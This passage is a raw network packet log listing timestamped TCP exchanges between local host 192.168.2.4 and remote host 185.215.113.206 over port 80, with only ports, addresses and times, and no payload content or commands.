Nov 24, 2024 02:13:28.846287012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.846339941 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.846405029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.846904993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.847115040 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.847177982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.847223997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.847928047 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.847980022 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.848027945 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.848728895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.848778963 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.848833084 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.849564075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.849617004 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.849646091 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.850404978 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.850452900 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.850513935 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.851207018 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.851258993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.851289988 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.851334095 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.852063894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.852158070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.852202892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.852840900 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.853032112 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.853082895 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.853660107 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.853705883 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.853760004 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.854501009 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.854556084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.854587078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.854938984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.855333090 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.855412006 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.855438948 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.855484009 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:28.856091976 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:28.859262943 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.014530897 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.014625072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.014674902 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.014905930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.014955997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.014983892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.015001059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.015660048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.015753984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.015764952 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.015830994 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.016482115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.016522884 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.016629934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.016678095 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.017304897 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.017349958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.017417908 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.017456055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.018105984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.018237114 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.018279076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.018929005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.019032955 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.019074917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.019756079 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.019876003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.019915104 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.020581961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.020679951 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.020719051 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.021384001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.021454096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.021588087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.022141933 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.022253990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.022310019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.022339106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.022381067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.023027897 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.023156881 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.023158073 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.023235083 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.023885965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.023984909 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.024013996 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.024029970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.024668932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.024741888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.024775982 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.025497913 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.025522947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.025551081 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.025598049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.025635958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.026310921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.026405096 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.026454926 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.027156115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.027190924 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.027246952 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.027628899 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.027967930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.028062105 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.028105974 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.028763056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.028949976 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.028991938 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.029607058 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.029649019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.029687881 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.029910088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.030416965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.030533075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.030577898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.031232119 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.031356096 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.031402111 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.032046080 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.032088041 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.032145023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.032298088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.032846928 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.032974958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.033015966 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.033694029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.033807993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.033849955 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.034499884 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.034538984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.034578085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.035046101 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.035342932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.035368919 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.035413027 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.036144018 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.036185980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.036256075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.036753893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.036958933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.037075996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.037123919 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.037789106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.037900925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.037941933 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.038608074 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.038651943 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.038708925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.039160013 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.039432049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.039598942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.039642096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.040261030 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.040371895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.040410995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.041069031 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.041110039 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.041166067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.041913033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.041929007 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.041951895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.042011976 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.042011976 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.042697906 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.042823076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.042898893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.043546915 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.043632030 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.043632984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.043765068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.044343948 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.044385910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.044445992 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.044687033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.045171022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.045281887 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.045389891 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.045989990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.046032906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.046081066 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.046138048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.046802998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.046916962 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.046993971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.047640085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.047720909 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.047727108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.047756910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.048445940 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.048490047 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.048537970 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.048710108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.049245119 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.049388885 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.049431086 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.050079107 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.050118923 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.050192118 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.050436020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.050900936 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.051033020 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.051076889 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.051722050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.051836014 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.051881075 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.052532911 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.052576065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.052670956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.053102970 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.053380013 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.053495884 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.053539038 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.054188967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.054229021 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.054302931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.054734945 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.054996967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.055042982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.055087090 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.055253983 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.055821896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.055871964 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.055922985 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.055964947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.056778908 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.056886911 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.056926966 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.057394981 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.057444096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401477098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401536942 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401585102 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401629925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401634932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401650906 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401694059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401698112 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401714087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401756048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401771069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401787996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401812077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401837111 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401837111 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401854038 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401881933 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401904106 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401910067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401937008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401966095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401974916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401982069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.401984930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.401998997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402009964 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402018070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402024984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402034044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402040958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402053118 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402059078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402070999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402074099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402086973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402090073 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402103901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402106047 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402120113 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402121067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402134895 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402137995 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402154922 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402154922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402172089 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402173042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402185917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402189016 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402204990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402206898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402224064 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402230024 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402240038 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402247906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402256012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402259111 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402268887 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402273893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402290106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402296066 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402306080 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402307034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402323008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402323961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402340889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402344942 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402357101 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402376890 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402398109 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402414083 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402439117 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402448893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402591944 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402607918 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402623892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402637959 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402638912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402656078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402657986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402672052 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402683020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402688026 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402704954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402714014 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402720928 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402738094 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402738094 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402751923 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402765036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402776003 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402781010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402797937 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402805090 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402817011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402820110 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402834892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402841091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402851105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402851105 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402868986 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402872086 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402884960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402887106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402903080 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402904987 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402920961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402925968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:29.402940035 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:29.402941942 CET	49748	80	192.168.2.4	185.215.113.206
